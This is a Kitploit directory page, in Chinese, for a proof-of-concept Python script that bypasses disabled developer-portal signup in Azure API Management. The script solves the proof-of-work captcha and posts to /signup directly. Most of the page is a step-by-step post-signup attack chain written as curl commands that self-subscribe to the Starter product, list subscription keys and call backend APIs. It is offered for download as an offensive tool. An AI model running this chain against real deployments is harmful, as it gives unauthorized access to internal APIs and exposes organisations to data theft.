Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Azure-APIM-Dev-Portal-Signup-Bypass — 当 UI 被禁用时,用于绕过 Azure APIM 注册的 Python 脚本,这与 CVE-2025-66390 不同,因为它不需要你在跨租户之间设置任何内容。 | Kitploit
工具/GitHubGitHub/dz-y/azure-apim-dev-portal-signup-bypass
身份验证与授权云基础设施安全Web应用程序漏洞利用API安全测试渗透测试云安全错误配置API 安全CAPTCHA 绕过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHubdz-y/azure-apim-dev-portal-signup-bypass

Azure-APIM-Dev-Portal-Signup-Bypass

当 UI 被禁用时,用于绕过 Azure APIM 注册的 Python 脚本,这与 CVE-2025-66390 不同,因为它不需要你在跨租户之间设置任何内容。

查看仓库
15天前尚未审核

一个用于绕过 Azure API Management (APIM) 中已禁用开发者门户注册的概念验证脚本,通过直接调用后端注册 API 实现。

功能说明

Azure APIM 开发者门户可以配置为通过门户 UI 禁用自助注册。在某些部署中,即使 UI 按钮被隐藏或移除,底层 API 端点(/signup)仍然保持活动并可达。该脚本利用了这一差距,通过以下方式:

  1. 从 /v2/captcha-challenge 获取工作量证明(PoW)验证码挑战
  2. 在客户端暴力破解 SHA-256 PoW 解决方案
  3. 使用已解决的挑战和账户详情直接向 /signup 提交注册请求

所有输入(目标 URL、凭据、代理)都在运行时以交互方式提示输入。

与 CVE-2025-66390 的关系

CVE-2025-66390(CVSS 9.8 严重)描述了一种 跨租户 APIM 注册绕过:攻击者利用一个已 启用 注册的租户,通过操纵 API 请求中的 Host 标头,在另一个已 禁用 注册的租户中注册账户。微软将其标记为配置问题,而非产品漏洞。

这不需要创建任何跨租户环境,而是直接使用 /v2/captcha-challenge 端点,平均通过 75000 次迭代即可解决验证码。

用法

root@kitploit:~
python3 apim_signup.py

会提示输入目标 URL、账户详情、密码(隐藏输入,并回显以供确认)以及可选代理。

注册后利用链

一旦注册请求成功且确认邮件到达,完整的攻击链如下:

步骤 1 — 确认邮箱

点击注册邮件中的确认链接。这会在管理 API 验证账户之前激活该账户。

步骤 2 — 进行身份验证并获取用户 ID

使用 Basic 认证(base64(email:password))访问 APIM 管理 API,以获取你的内部用户 ID:

root@kitploit:~
curl -s "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/identity?api-version=2019-12-01" \
  -H "Authorization: Basic <base64(email:password)>"
# → {"id":"<user-id>"}

返回的 id 字段将用于所有后续管理 API 调用。

或者访问 /developer/identity?api-version=2022-04-01-preview <-- 版本无关紧要 界面会提示你登录,你也可以在那里获取你的 ID。

image

步骤 3 — 自行订阅产品

默认的 Starter 产品带有 approvalRequired: false,这意味着无需管理员审批。通过 PUT 自行订阅:

root@kitploit:~
curl -s -X PUT "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub?api-version=2019-12-01" \
  -H "Authorization: Basic <base64(email:password)>" \
  -H "Content-Type: application/json" \
  -d '{"properties":{"scope":"/products/starter","displayName":"Starter"}}'
# → HTTP 201 Created

来自 [email protected] 的确认邮件(“你对 Starter 的订阅”)会到达。

步骤 4 — 获取订阅密钥

root@kitploit:~
curl -s -X POST "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub/listSecrets?api-version=2019-12-01" \
  -H "Authorization: Basic <base64(email:password)>"
# → {"primaryKey":"...","secondaryKey":"..."}

步骤 5 — 调用后端 API

使用主密钥作为 Ocp-Apim-Subscription-Key 向 APIM 网关发起经过身份验证的后端调用:

root@kitploit:~
curl -s "https://<service>.azure-api.net/<api-path>" \
  -H "Ocp-Apim-Subscription-Key: <primaryKey>"

访问权限取决于哪些 API 被限定到 Starter 产品——在配置错误的部署中,这可能会在没有进一步身份验证的情况下暴露内部后端。


有关更多细节,这篇文章很好地描述了该攻击链,只需忽略跨租户部分即可。https://www.praetorian.com/blog/azure-apim-signup-bypass/

下载工具